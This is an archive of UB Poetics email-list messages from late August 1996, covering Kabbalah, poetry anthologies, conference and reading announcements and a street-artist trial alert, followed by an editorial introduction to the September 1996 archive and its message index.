Look at the way in which the Sephira have been interpreted in magical practice: This has more to do with an occult interpretation of Kabbalah than with Kabbalism itself.

Obviously, if one wishes to study Kabbalism, it is wisest to go to the source--which is why I cited Schocken's _On The Kabbalah and Its Symbolism_ long before anyone else mentioned the name. But the Sanskrit bible idea has nothing to with early Jewish mysticism: that came into fashion far later (post-Golden Dawn?) with a different set of practitioners. It was the Sanskrit idea that I referred to in the context of occult interpretation.

There is no reason for you to have to agree with any occult interptretation of Kabbalism: I don't, hence my earlier comment on not "killing the messenger." But neither should you deny the existence of such unorthodox variants. OTO ceremonies sometimes take place in a building visible from my roommate's window. Neo-medieval, neo-mystical, neo-gnostic magicians, all of whom make use of concepts taken from Kabbalah, exist outside my very door and not merely on TV.

However, thanks for the term *gematria.*

> *Gematria is a mystical practice of the determination of meaning and the creation of meaning.*

All the best,

Rob Hardin

PS: Thanks to all for honoring my request not to respond to my post because I'm too busy. Who said that manners were obsolete?

http://www.interport.net/~scrypt

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419. Tenney Nathanson
raw & cooked (reheated?)
Wed 28 Aug 1996

Did the question of where the "raw and cooked" as tropes for American poultry came from ever get solved on the list?

anyway I came across another candidate, or a candidate (not sure whether someone mentioned this one already)

on p. 277 of Ian Hamilton's big biography of Lowell, there's an account of Lowell using these terms, in 1960, in his National Book Award address. Hamilton claims this is the first use of raw/cooked for talking about poetry.

Tenney

(I guess I might as well confess to still teaching LSFUD in my contemporary poetry course:

btw:

Lowell, LSFUD
Bishop, Collected
Merrill, Selected
O'Hara, Selected
Ashbery, Selected
Koch, On the Great Atlantic Rainway: Selected Poems
Bernstein, Dark City
Scalapino: Way (last 30 copies on earth?)
Hunt, Local Histories
Mullen, Muse & Drudge

6th man award:
Notley, Descent of Alette

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420. Wendy Battin
Virtual Muse
Wed 28 Aug 1996

Just out:

Virtual Muse: Experiments in Computer Poetry by Charles O. Hartman from Wesleyan

Paper $14.95
Cloth $35 ISBN: 0819522392

& Northwestern University Press is about to release a re-print of Hartman's _Free Verse: An Essay on Prosody_, which has been o.p.
 ISBN: 0810113163 $14.95 paper

Wendy B

Wendy Battin [redacted]
(home) http://camel.conncoll.edu/ccother/wjbat/
(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html

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421. George Bowering
Re: Marlatt
Wed 28 Aug 1996

> *Have more perhaps heard of Daphne Marlatt? Far and away my favourite Canadian writer, got into no Canadian anthologies; as she was born outside Canada; and I've often wondered if she only started to get in because her work in the eighties started to feel representative of a "minority group", as a gay writer, as a feminist writer, not just because she's a really good writer.*

The notion that Daphne did not get into anthologies (she did, though) because she was born outside of Canada is not tenable. If it took a while for her to get into anthologies it was largely because she was (a) from the west coast, and (b) she was identified as part of an avant-garde movement--while most of the anthologies were made by squares from back east. She certainly never had any problem getting into my anthologies.

If you want to see a case of someone who does not get into anthologies enough, have a look at Robin Blaser, who does not get into those recent US anthologies of contemporary poetry (maybe because he is a canadian), and is not gathered

by the squares back east, (perhaps because he was an American), and does not get into regular anthologies because he is perceived to be difficult.

Being perceived to be difficult is the main reason that people do not get into anthologies (other than second-ratedness). Do you remember who were the first Allen Anthology poets to get into Nortons and other such anthologies? Ferlinghetti, Snyder and Levertov. They have never been thought difficult.

George Bowering.

"Nuestros cuerpos se cubren

de una yedra de s=EDlabras."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

--Octavio Paz

fax: [redacted]
e-mail: [redacted]

=20

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422. George Bowering

Re: AA in NH

Wed 28 Aug 1996

> *Assembling Alternatives*
> *is not a prospect for most of us, at least this far out of the New Hampshire core of things, and I for one would be grateful indeed for any reports, on fashion or no (Kevin, you'll be missed!), that EVERYONE there, surely (beg! Beg! cajole!), should send to the rest of us, please. I'm really sorry not to be going, and am thus in desperate need of a fix. Have a good time, all. It should be quite a shindig.*
>
> *Peter*
> +
> *Peter Quartermain*
> *128 East 23rd Avenue*
> *Vancouver*
> *B.C.*
> *Canada V5V 1X2*
> *Voice and fax:* [redacted]
>
> +

Oh, that Quartermain. Needs his Brit-fix.

George Bowering.

"Nuestros cuerpos se cubren

de una yedra de sílabras."

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

--Octavio Paz

fax: [redacted]
e-mail: [redacted]

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423. George Bowering

Re: Swear word here!

Wed 28 Aug 1996

> *big oops--private message went to the list again--at least it wasn't the one about *my* intrigue with Rachel L. while Pierre took pictures--*
>
> *Gwyn, tres embarrassed*

That was YOU? As Pierre is a lousy photographer, but a great poet, it was hard to tell who the partly-clad person was. I thought it looked a little like David Bromige, but the tan wasnt deep enough.

George Bowering. "Nuestros cuerpos se cubren

de una yedra de s=EDlabras."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

--Octavio Paz

fax: [redacted]
e-mail: [redacted] =20

↑ Index

424. Rachel Loden

Re: Swear word here!

Thu 29 Aug 1996

George Bowering added ("That was YOU?"):

> *big oops--private message went to the list again--at least it wasn't the one about *my* intrigue with Rachel L. while Pierre took pictures--*
>
> *Gwyn, tres embarrassed*
>
> *That was YOU? As Pierre is a lousy photographer, but a great poet, it was hard to tell who the partly-clad person was. I thought it looked a little like David Bromige, but the tan wasnt deep enough.*

I certainly hope Pierre finished duplicating the pictures so we can clean up in New Hampshire. Btw that WAS Bromige in the corner, but he seemed more interested in his baseball card collection (despite all the brave talk about "desire"). P.S. Pierre, when do we get paid for the shoot?

Rachel Loden

↑ Index

425. **Gwyn McVay**
Re: Swear word here!
Thu 29 Aug 1996

On Thu, 29 Aug 1996, Rachel Loden wrote:

> George Bowering added ("That was YOU?"):
>
<snip>

> > That was YOU? As Pierre is a lousy photographer, but a great poet, it was
> > hard to tell who the partly-clad person was. I thought it looked a little
> > like David Bromige, but the tan wasnt deep enough.
>
> I certainly hope Pierre finished duplicating the pictures so we can
> clean up in New Hampshire. Btw that WAS Bromige in the corner, but
> he seemed more interested in his baseball card collection (despite
> all the brave talk about "desire"). P.S. Pierre, when do we get
> paid for the shoot?
>
> Rachel Loden
>
If Bromige's other flank had been showing, he would have been recognized by the tattoo on his left, well, anyway, of Venus surrounded by cherubs and scalapinos. However, this body art is very similar to one Mark Wallace has, of Venus surrounded by veal scaloppini, so I understand why there might have been confusion.

Gwyn McVay

↑ Index

426. **Tom Mandel**
Gematria
Thu 29 Aug 1996

Yes, sorry for reading too quickly and conflating phrases and sentences to saddle you, Rob, with a description of Kabbalah as relating to "the occult,"

although perhaps I was also being a bit of a snob too, as in fact there *are* aspects of "occultism" and "popular religion" in the long Kabbalist tradition.

And deep thanks to Gwyn and Hank. I remember David Bromige once saying "you get your readers one by one" or as Bob Dylan puts it in "Every Grain of Sand" "Sometimes I turn, there's someone there / other times it's only me."

Best to all.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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427. Carl Lynden Peters
THINKINGalien (fwd)
Thu 29 Aug 1996

thot this may be of interest to some --

> *THINKING alien*
> *is an international, inter-disciplinary event*
> *sponsored jointly by the Centre for the Study of Cultural Values,*
> *University of Lancaster, and the Centre for Cultural Studies,*
> *University of Leeds, to be held at Leeds University (Roger Stevens*
> *Building) on 16 & 17 September 1996*
>
> *THINKING alien brings together over 50 speakers from the fields of*
> *cultural, aesthetic and literary theory, from philosophy, musicology,*
> *sociology and psychology*
>
> *PANEL TOPICS INCLUDE:*
> *the philosophy of gilles deleuze; legacies of the situationists;*
> *science fiction and cultural theory; alien aesthetics; prosthetics,*
> *technology, culture; antihumanism and feminism; donna harraway and the*
> *cyborg; nomadic spaces; abjection, alienation and artefactuality;*
> *intimations of apocalypse; technologies of sound; music and dance;*
> *sonic expression*
> *plus multimedia performances from -jim flint - switch - digital chaos*
> *- angus carlyle*
>
> *FEES:*
> *stlg20/stlg15 concessions - cheques payable to University of Leeds - send*
> *to: THINKINGalien Dept. of Fine Art University of Leeds LEEDS LS 2 9JT*

please include your mail address for full conference programme (abstracts, information, accommodation) conference registration 9.00 - 11.00 hrs, 16 september - final panel ends 19.30 hrs, 17 september

ACCOMMODATION:
the organisers regret that there is only a limited amount of university accommodation available - for university accommodation contact - 0113 2336100 - for hotel accommodation contact Leeds Leisure Services - 0113 2425242 - or see programme for hotel listings

THINKING alien is run in conjunction with
close very very close
a sequence of time-based installations - a programme of film and video
roger stevens building, university of leeds, 16 - 17 september, 10.00 - 17.00 hrs information email: [redacted]

FUTUREsonic
at back to basics, leeds, 17 september, 1pm - 6am
a unique multimedia symposium and club event - exploring and extending the horizons of electronic music and dance culture - concessionary rate of stlg8 to all attending THINKINGalien information email:
[redacted] *- http://www.phreak.co.uk/haywire/futuresonic*

THINKINGalien
specialists in cultural capital since 1996

THINKING alien

an international, inter-disciplinary conference sponsored by the centre for cultural studies, university of leeds, and the centre for the study of cultural values, university of lancaster

to be held at Leeds University (Roger Stevens Building) on 16 & 17 September 1996

PAPERS AND PRESENTATIONS:

sara ahmed (lancaster university): phantasies of becoming - john armitage (northumbria university): accelerated aesthetics: paul

virillio's vision machine - rachel armstrong (multimedia producer, occ multimedia): the anatomy of aliens - richard barbrook (westminster university): the sacred cyborg - j. barton (warwick university) - hinterlands:music, micro-politics, deleuze and guattari - diane beddoes (leeds university): side communication - a. bennett (durham university/ i.a.s.p.m.): t.b.c. - andrew blake: the difference engine: music outside theory - fred botting and scott wilson (lancaster university): ghosts of the machine: artificial imaginaries and the second death - micheal bull (goldsmiths): technologies of the visible, technologies of the invisible: walkman use as a strategy of looking and disappearing - pete buse (salford university): actor inhuman - angus carlyle (warwick university): the k's to key largo (audio-visual presentation) - carolyn brown (greenwich university): celibatory machines: cyborgs, cybersex and the uncanny logic of the letter - duncan campbell (university of wales): s and before p? microserfs and the "new" - micheal corsten: the dispositif of rave - jane crawford (warwick university): fyb(erd)roids: alien nomad - digital chaos: multi-media presentation - the discourse unit (chairs - angel j. gordo-lopez (bradford university) and ian parker (bolton institute): workshop - abjection, alienation and artefactuality: cyberpsychological prosthetic memory - dagmar fink and anne scheidhauer (university of frankfurt/main): cyborg narratives - phil edwards: cultural pimping and the overthrow of situations: (anti)situationist art - jim flint: multi-media presentation - mariam fraser (loughborough university): springs and flows: foucault, feminism and deleuze - jennifer friedlander (university of pittsburgh): capturing children/ preserving aliens - mark goodall (leeds university): basic banalities: a sonic evocation of the work of guy debord - phil goodchild (st. martins, lancaster): alien ethics: deleuzean ethos vs. postmodern morality - ray guines and omayra cruz (leeds university): hopeful narratives and monstrous aliens - paul haynes (lancaster university): we have never been human - graham harvey (king alfred's, winchester): the technologies of ecstasy: techno-shamanic techniques of ecstasy and neo-shamanic healing therapies - andrew hussey (huddersfield university) and gavin bowd (manchester university): le musee guy debord: paris by night - alessandro imperato (keele university): inner space: symptoms of alienation - barbara kennedy (staffordshire university): "k(n)ights in white satin:" faciality, film and fin-de-siecle femmes - nick land (warwick university): contagious rhythmic practices - nigel liddel (leeds university): a geometry for life - celia lury (lancaster university): prosthetic culture and identity - iain mackenzie (queen's university, belfast): thinking differently: vitalism in the political philosophy of gilles deleuze - bruce mcclure (warwick university): xenoglossolalia: alien tongues - catherine maidens (huddersfield university): "beneath the pose" the feminine and the alien - sarah marklew (bolton institute): the double within science fiction film - roland miller (huddersfield university): manufacturing an alienated

nation - simon o'sullivan (leeds university): of angels and aliens - william pawlette (loughborough university): utility and excess: the radical sociology of bataille and baudrillard - carl peters (simon fraser university, british columbia): bp nichol and concrete poetry as a source of writing and allegory - j. pettigrew: koan: how long will koan music last? andrew quick (lancaster university): presentation t.b.c. - andrea rehberg (greenwich university): nietzsche's desert thought - david rice (university of california): alien prophecy - j.k.l.scott (university of wales): loving the alien: pluralism, polyculturalism and voodoo existence - kay schaffer (university of adelaide): the contested zone: cybernetics, feminism and representation - rob shields (lancaster university): cultures of the internet - mark sinker: taking sweets from unearthly strangers: radio waves, unearthly voices, long-distance desire - c.r.r. smethurst (warwick uiversity): jungle duration - david sorfa: erasure and apocalypse in three texts - marcella stecher (vienna): inner body to outer space: deconstructing femininity in ridley scott's "alien" - william stephenson (leeds university): the tape that exploded: william borroughs and sonic parody - paul sutton (bradford university): remembering the future: postcards from an alien world - switch: grey matter (audio-visual presentation) - acim szepanski (force inc. and mille plateaux records, hamburg): t.b.c.- yvan tardy (de montford university): art, everyday life, spectacle: a situationist trilogy - imogen tyler (manchester metropolitan university) and bruce bennett (bolton institute): donna harraway's primate visions: science, fiction and speculative futures - neil todd (manchester university): rhythmic motion: neuronal representations of rhythm and time - j. urpeth (greenwich university): alien forms: the vitalisation of form in art - steven h. weinberger (george mason university, fairfax): search for the perfect alien language - dan welch (lancaster university): alien abduction and the memoro-politics of apocalypse - alan wright (university of florida): echomania: from the dialectical image to the dub encounter

THINKING alien

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> *FEES:*
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> *Dept. of Fine Art*
> *University of Leeds*
> *LEEDS*
> *LS 2 9JT*
> *please include your mail address for full conference programme (abstracts, information, accommodation) conference registration 9.00 - 11.00 hrs, 16 september final panel ends 19.30 hrs, 17 september*
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>
> *FUTUREsonic*
> *a unique multimedia symposium and club event - exploring and extending the horizons of electronic music and dance culture - stlg8 concessionary rate for conference attendees*
> *http://www.phreak.co.uk/haywire/futuresonic back to basics, leeds, 17 september, 1pm - 6am information email:* [redacted]

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428. Julia Stein
Re: Justice for Garment Workers Reading
Thu 29 Aug 1996

A Justice for Garment Workers Literary Reading will take place:
September 8th, Sunday,
5:00 pm
Midnight Special Bookstore
Santa Monica CA
[redacted]

Taking part will be:
Mary Helen Ponce
Carol Schwalberg
Julia Stein
Edna Bonacich

This reading is in soldarity with the UNITE campaign against Guess Inc. and is sponsored by Los Angeles local, National Writers Union/U.A.W. and Common Threads

from Carol Tarlen's poem "Sisters in the Flames" about the Triangle Fire:

Sister
of the flames
take my hand
I will hold you in the cradle
of my billowing skirt
in the ache of my shoulders
the center of my palm
our sisters already dance
on the sidewalk nine
floors below the fire
is leaping through my hair
Sister I will hold you
the air will lick our thighs
grab my hand
together now fly
the sky is an unlocked door
and the machines are burning

↑ Index

429. **Blair Seagram**
12? in sanskrit
Fri 30 Aug 1996

Does anybody know what the sanskrit word for 12 is?

Blair

↑ Index

430. **Michael Boughn**
need some info
Fri 30 Aug 1996

Does anybody on the list know of a book called _Un Homme grand: Jack Kerouac a la confluence des cultures_? I'm having a really hard time tracking it down. Even Buffalo doesn't seem to have it. I'm specifically interested in an essay by Gerald Nicosia called "Kerouac: Writer without a home".

Thanks,
Mike
[redacted]

↑ Index

431. Diane Marie Ward
Re: need some info
Fri 30 Aug 1996

The book Un homme grand : Jack Kerouac a la confluence des cultures= Jack Kerouac at the crossroads of many cultures -- is available at the University of Buffalo - we have 2 copies -- if you like (since I spend most of my daylight hours working for the Libraries) I can put you in touch with our Inter Library Loan Program / or put you in touch with the Poetry Collection. Email me backchannel.

Also, does anyone have an email address for John (J. W.) Curry in Toronto?

On Fri, 30 Aug 1996, Michael Boughn wrote:

> *Does anybody on the list know of a book called _Un Homme grand: Jack Kerouac a la confluence des cultures_? I'm having a really hard time tracking it down. Even Buffalo doesn't seem to have it. I'm specifically interested in an essay by Gerald Nicosia called "Kerouac: Writer without a home".*
>
> *Thanks,*
> *Mike*
> [redacted]

Diane Ward
[redacted]
State University of New York at Buffalo

THE AESTHETE'S LIST : http://www.acsu.buffalo.edu/~dward/

"I dreamt I dwelt in marble halls,
And woke to find it true;
I wasn't born for an age like this;
Was Smith, Was Jones, Were you?" -- George Orwell written in 1935.

↑ Index

432. Gale Nelson
Events in Providence
Fri 30 Aug 1996

The following events are planned for Providence in the coming weeks:

Wed, 4 Sep.
Poetry readings by Maurice Scully (Dublin) and Tony Lopez (Devon)
8:00 pm TF Green, Young Orchard Street, between Hope & Cook, East Side

Thu, 5 Sep.
Performance work by MURMUR
8:00 pm TF Green (see above for address)

Tue, 10 Sep.
Mixed genre readings by Lori Baker (fiction) and Gale Nelson (poetry)
7:00 pm Little Professor Book Center, N. Main Street

Thu, 12 Sep.
Night of A Thousand and One Readings by the Graduate Students of Brown Creative Writing
8:00 pm TF Green (see above for address)

Thu, 19 Sep.
Poetry reading by August Kleinzahler, visiting assoc. professor at Brown
8:00 pm TF Green (see above for address)

Thu, 26 Sep.
Fiction reading by Robert Coover
8:00 pm TF Green (see above address)

1-5 Oct.
Unspeakable Practices III
A festival of vanguard narrative, organized by Robert Coover
Brown campus, various locations

All events listed above are free and open to the public. All save the Little Professor Book Center Reading are sponsored by Creative Writing, Brown University.

↑ Index

433. Joe Amato
Re: interesting article on the web
Fri 30 Aug 1996

---

a few weeks back, chris funkhouser posted in about an article on the web entitled

"virtual whiteness and narrative diversity"

by one joe lockard of uc/berkeley...

just finished reading the piece, found it to be extremely interesting, and i too recommend it to those of you with an interest in questions of race/ethnicity and how critical discourse relating to these latter may be brought to bear on cspace...

again, at

http://darkwing.uoregon.edu/~heroux/uc4/4-lockard.html

best,

joe

↑ Index

434. Christina Fairbank Chirot

Street-Art: File: "DATABASE OUTPUT" (fwd)

Fri 30 Aug 1996

This of much interest & concern--to be aware of.

(fwd. dbchirot)
---------- Forwarded message ----------

For Immediate Release: A.R.T.I.S.T. president Robert
Lederman's New Trial Date Set For 9/9/96

A new trial date has been set for Monday 9/9/96 Jury Part 1, 5th floor 100 Centre Street, Criminal Court Bldg. 9:30 A.M. The previously scheduled trial date of 7/30 was unexpectedly adjourned when a roomful of print and T.V. journalists showed up to cover the proceedings. Robert Lederman will be the first N.Y.C. street artist brought to trial. The prosecuting the case is D.A. David Jaffe. Judge Pickholtz is scheduled to hear the trial. Lederman is represented by attorney and one-time prosecutor, Marc Agnifilo [redacted]. The defense has six eyewitnesses to the illegal arrest prepared to testify.

Since 1993 the City has handcuffed and arrested more than 350 artists for displaying or selling their paintings on N.Y.C. streets. While it has avoided prosecuting any artist's case, the City continues to sell thousands of works of fine art it has illegally confiscated at its monthly forfeiture auction at One Police Plaza. D.A.'s and judges have begun publicly expressing disapproval of the policy.

Lederman is charged with Unlicensed General Vending and two additional charges of Disorderly Conduct. Each charge carries a possible three month sentence. This is an unusual case in that the Disorderly Conduct charges as described by D.A. Jaffe at a preliminary hearing involve nothing more than the defendant handing out literature, holding up a protest sign that read, "Stop Arresting Artists", photographing the police confiscating another artists' work and handing out eight protest signs to other artists present. These activities, as well as displaying art, are fully protected by the First Amendment. Lederman has been arrested twice before for distributing literature exposing the City's artist arrest policy and numerous times while displaying his art.

At a preliminary hearing held on 6/27 prosecuting D.A. David Jaffe told the presiding judge, "Robert Lederman has been arrested 13 times. If we don't stop him this will only continue. Before being arrested he handed out protest signs

to the other artists and they marched up and down. He's even displaying photos of artists being arrested alongside his paintings."

At that hearing the judge appeared predisposed to find Lederman guilty regardless of the facts in the case. Lederman's attorney was told he couldn't talk about the First Amendment. The judge and D.A. didn't want the defense to enter photographs taken at the arrest scene, which contradict the police report, as evidence. The judge also denied the defense the right to subpoena witnesses to testify on N.Y.C.'s vending ordinance or to enter relevant testimony by City officials from the ongoing street artist Federal suit, including the Corporation Counsel's admission that artists, "...cannot obtain a Vending License". [Lederman v. City of New York 94 civ. 7216 (MGC)]. The Federal case is presently before the 2nd Circuit Federal Appeals Court with a decision expected at any time. Numerous museums, arts and legal rights groups, including the ACLU, The Whitney and MOMA have joined the suit in support of the artist- plaintiffs.

Lederman is president of A.R.T.I.S.T. an advocacy group of over 200 New York street artists. He has been an outspoken critic of Mayor Rudolph Giuliani's quality of life arrest policies and of City Council Member Kathryn Freed. Freed is known to be a motivating force behind the artist arrests and, according to the N.Y. Times, is in Federal Court "..seeking to overturn Constitutional protection for visual art". Observers believe this Criminal Court trial is an attempt to intimidate artist activists.

Recently, Lederman and other A.R.T.I.S.T. members distributed a controversial leaflet at Criminal Court ("Why Plead Guilty?") advising so-called "quality of life" defendants to not plead guilty or accept plea bargaining arrangements and to demand a trial. Members of the D.A.'s office, defense lawyers and judges agreed with the leaflet, causing the Giuliani administration considerable embarrassment. A number of reporters claim they've been pressured by City officials and by the NYPD not to continue covering the street artist issue.

For more information or to receive a press kit contact
A.R.T.I.S.T. [redacted] E-mail [redacted]
or visit the A.R.T.I.S.T. web page:
http://www.openair.org/alerts/artist/nyc.html
Photos of this and other artist arrests are available.

References to this trial, artist arrests and related material can
be found in the following:
New York Times, Sunday July 14, 1996, City section pg 13,
lead story); "The War of Nerves Downtown; Kathryn Freed's War
of Nerves" [detailed expose of City Council Member Freed]
New York Times Magazine, Sunday July 14, 1996 pg. 8 The City
"It's a Quality, Quality Life"

Art In America, March 1996 pg. 128 "New Allies for Street Artists"
New York Times Wednesday, January 24, 1996 Metro section pg. B1 "Street Art: Free Speech or Just Stuff?"
New York Magazine, January 23, 1995 pg 16 "Among the Artlaws"
Christian Science Monitor Thursday, July 14, 1994 pg. 11 "New York Reins In Street Art"
Christian Science Monitor Wednesday, February 14, 1996 "Conflict On the Street: Artists v. N.Y.C."
Time Out Magazine Feb 21-27 1996 pg. 18 "Peddle Pushers"
New York Amsterdam News Saturday, June 15, 1996 pg. 4 "Artists To Sue Over First Amendment Right of Speech".

↑ Index

435. Jordan Davis
(no subject)
Fri 30 Aug 1996

CURRENT PRICE LIST from SUBPOETICS/POETRY CITY

Sea Lyrics by Lisa Jarnot $5
Western Love by Bill Luoma $5
Lapsis Linguae by Marcella Durand $5
Immediate Orgy & Audit by Ange Mlinko $5
August by Dan Bouchard (special issue of Compound Eye, ed. A. Mlinko) $1
Thunk by Kevin Davies $3
A Little Gold Book by Jordan Davis $5
Sincerity Loops by Steve Carll $5

and now...

MASS AVE, ed. by Dan Bouchard $5
since 1996
Mass Ave has featured such writers as
Jawanza Ali Keita, Ange Mlinko, Jordan Davis, Renee Gladman, Chris Stroffolino, David Baratier, Giovanni Singleton, Bill Luoma, Lisa Amber Phillips, Beth Anderson, Meredith Quartermain, Steve Carll, Michael Leddy and David Golumbia--

"the tightest
pants in heaven"

To order, send an email to [redacted] with your street address and the books you need. Add $3 for first class shipping, orders over $25 add $0 for shipping even

though here in New York we have to take all of our packages to the post office somebody with a tv let me know if the unabomber movie is any good.

Jordan Davis
46 E 7 #10
NYC 10003
[redacted]

↑ Index

436. George Bowering
Re: Kerouac
Fri 30 Aug 1996

> *Does anybody on the list know of a book called _Un Homme grand: Jack Kerouac a la confluence des cultures_? I'm having a really hard time tracking it down. Even Buffalo doesn't seem to have it. I'm specifically interested in an essay by Gerald Nicosia called "Kerouac: Writer without a home".*
>
> *Thanks,*
> *Mike*
> [redacted]

Mike,

Yeah, the book is as you titled it. Edited by Pierre Anctil, Louis Dupont, Remi Ferland and Eric Waddell. Published by carleton University Press, 1990. It's proceedings from that Kerouac conference in Quebec.It is distributed by Oxford, so shd be easily obtainable. Nicosia's piece is 20pp long.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]
e-mail: [redacted]

"Nuestros cuerpos se cubren

de una yedra de s=EDlabras."

--Octavio Paz

=20

↑ Index

437. Douglas Messerli
Re: Hannah Weiner
Fri 30 Aug 1996

Sun & Moon is publishing PAW soon in its new magazine:
Mr Knife, Miss Fork. Hannah's wonderful narrative will be

one of the major works in that special issue devoted to
the "theatrical" in lit.

Douglas Messerli

At 10:11 PM 8/26/96 -0500, you wrote:
>james sherry writes:
>> Roof Books will publish Hannah's Weiner's <<We Speak Silent>> this fall. I
>> will try to make a special offer to the list when the book becomes available.
>
>goody! in the meantime, where can i get "PAH" or PAW, that charles mentioned?
>>
>> Meanwhile, Maria, I wonder about your theory. The themes in Hannah's
>> writing don't seem to me to have much to do with holocaust. A list of
>> them would show late sixties tv and political issues, the fast,
>> lsd, family, friends, and isolation. Why not take her at her word?
>
>i'm not talking about thematics so much as effect; her writing as an effect of
>post-holocaust (Jewish) subjectivity. something like that. not trying to
>ferret out any subtext. still, thanks for the list of identifiable themes.
>>
>> The interest for me in Hannah's writing has always been her ability to
>> weave through inside and out without the usual membranes and transitions.
>> For Hannah much of what we call art comes quite easily to her once she
>> has put herself in a particular position, which I don't need to characterize.
>
>good point; i like stuff about weaving and membranes.
>>
>> Also see Maria Damon's essay in the new issue of <<Chain>>: Hannah makes
>> a pure play at consciousness by mixing genres. Sometimes she succeeds and
>> the reader is pleased.
>
>interesting; what specific genres wd u say she mixes?
>>
>> James
>maria d
>

↑ Index

438. **jeffrey timmons**

xxx/event: one

Thu 25 Jan 1996

---

xxx/event: one

they took over the campus at
arizona state university this week
75,000 people coming for the supperbowl
corporate hospitality suites rise over the sacred
parking lots worshiped by high and low alike
classes were cancelled for two days
closed the library early
locked the doors completely to accomodate
stuporsunday
official souvenir vendor distribution sites for all
this splurf-fest capital guzzle feed-trough
greenback shower of the sports season
a soft-drink company (who will remain
anonymous so as not to endorse this product unwittingly)
will throw a party for students with hot dogs for sale
a local hemp spokesman says he will sell dope at the scupperbog
the economic wind fall for tempe phoenix
arizona will be
tremendous according to the saturation coverage by
the arizona republic(an) for the potential to "cash-in"
on the xxx/event
arizona state university is "bloated and
inefficient"
according to a republican govenor whos filed for
bankruptcy
budget cuts will likely lead to tuition raises while the
other two state schools will suffer no such cutbacks
the stutterbloff is on more peoples minds than the next
goverment shut-down
arizona state university students marched down
the main strip of tempe protesting the ironies of this
money-gozzling fleet-ditch diving city . . .

↑ Index

439. **Douglis Beck**

Corbu Poetics?

Sat 31 Aug 1996

---

does anyone know of poetics works mentioning, dealing with, anything on Le Corbusier's Ronchamp Chapel? I imagine this is a longshot, but architecture school makes you desperate. & hey Rod(Smith)--did you ever get the (e)mail I sent you so very long ago? thanks. douglis

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

September 1996

608 messages · Sat 31 Aug 1996 – Mon 30 Sep 1996

September 1996: cruise missiles into Iraq on the third, Tupac Shakur shot in Las Vegas on the seventh and dead of it on the thirteenth, the Defense of Marriage Act signed in the small hours of the twenty-first. Of the three the list registers one, and only as a forwarded action alert somebody passed on with a note. Its own seventh of September was a different day. What the room was doing across six hundred and eight letters that month was arguing, at length and with feeling, about whether writing about poetry is a parasite upon poetry.

That fight had been smouldering since July and it caught properly on the fifth, when Michael Boughn opened a thread addressed to Marjorie Perloff by title and rank — Dear Professor Perloff — and put George Steiner in evidence against her whole profession: the dominion of *"secondary and parasitic discourse over immediacy"*, of the critical over the creative, an anxious wish for something to stand between us and the primary thing. Forty-one letters ran under critics and poets, fifteen more under Poets vs. Critics, and the room divided along the line it always divides on, which is not really about criticism at all but about who is permitted to say what a poem is worth.

It ran alongside the funniest thing the list did all year. In July the room had spent a fortnight in anguish over whether a member might forward another member's words to a non-member. In September David Benedetti posted under the heading Confidential to everybody on the list, enquiring how many present wished to hear about Rachel Loden's confidential messages to Mark Wallace concerning George Bowering's imaginary dildo. Gwyn McVay asked whether there was a choice, and proposed instead an account of Bernstein, Rothenberg and Joris *"hanging out of the windows at the Chelsea Hotel"* while Perloff worked a counterfeit Ouija board on Rod Smith. Twenty-six letters of invention followed. The room had found the only sane response to its own July, which was to make the whole thing up.

And on the eighth, Kevin Killian and Dodie Bellamy wrote jointly to say that Daniel Davidson had died in San Francisco on the Saturday night, by his own hand, after many years of pain following open-heart surgery. They marked their paragraphs so you could tell who was speaking. Dodie had met him in the mid-eighties at the UCSF medical centre, where she was a temp and he was coming in for follow-ups; they talked about writing and music and drugs, and listened to Messiaen's Quartet for the End of Time in his flat on Haight Street; she had never

seen anyone *“live more grandly on a fixed income”* — Salvation Army castoffs dyed black, a dashing figure. Kevin remembered him at every reading in the city, come to poetry late and burning with it, and, because of the plastic valve in his heart, always certain he had no time.

He had been scheduled to read that Friday, the thirteenth, at Small Press Traffic; the reading became his memorial. And at the end of the notice, having given the list a man’s whole life in nine paragraphs, Killian apologised: *“Sorry to fill up the bandwidth”* with all this about Dan and us — a grief, he said, not unmixed with guilt. Then the thread on critics and poets resumed, and ran another fortnight. I have set the argument and the notice where September put them, three days apart and never once touching, because a room that spent the month deciding whether commentary is a parasite on the primary thing was, on the eighth of it, handed the primary thing, and said sorry for the bandwidth.

— Kristen M. Fabians

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349. George Bowering — Re: Confidential to everybody on the list

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350. DS — Re: Confidential to everybody on the lis
351. filch — Re: Confidential to everybody on the list
352. Kevin Killian — Tom Field show opens in San Francisco
353. Kevin Killian — Barbara Guest reading in San Francisco
354. Ron Silliman — Confidential to David Benedetti
355. Rachel Loden — Re: Confidential to everybody on the lis
356. Beth Simon — Re: Confidential to everybody on the lis
357. Loss Glazier — Mag/Press Listing

358. Loss Glazier — Mag/Press listing
359. Mark Wallace — language poetry on treble
360. cris cheek — CD announcement / spoken word
361. Mark Roberts — Re: Eric Beach
362. VIDAVER — Dildo & The Real
363. Steve Carll — Re: Confidentially...
364. Tod Thilleman — Re: poets/painters collaborate in NYC
365. Jordan Davis — Lisa Robertson / treble kicker
366. Lisa Samuels — McCaffery e-address?
367. maria damon — Re: Confidentially...
368. DS — Re: Confidential to everybody on the lis
369. Tony Green — Re: Confidential to everybody on the lis
370. maria damon — Re: Confidential to everybody on the lis
371. Jordan Davis — redux is a drug
372. DS — Re: Dildo & The Real
373. George Bowering — Re: Tom Field show opens in San Francisco
374. Brian Carpenter — Re: CD announcement / spoken word
375. George Bowering — Re: Confidentially...
376. George Bowering — Re: Confidential to everybody on the lis
377. George Bowering — Re: Confidential to everybody on the lis
378. DS — Re: Confidential to everybody on the lis
379. George Bowering — Re: redux is a drug
380. George Bowering — Re: Dildo & The Real
381. maria damon — Re: redux is a drug

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382. maria damon — Re: Dildo & The Real
383. filch — Re: Dildo & The Real
384. Hugh Nicoll — Re: Dildo & The Real
385. Kevin Killian — Giscombe/Fugitive
386. cris cheek — Re: CD announcement / spoken word
387. henry — Re: redux is a drug
388. Gwyn McVay — Re: Dildo & The Real
389. Beth Simon — Re: Dildo & The Real
390. maria damon — Re: Dildo & The Real
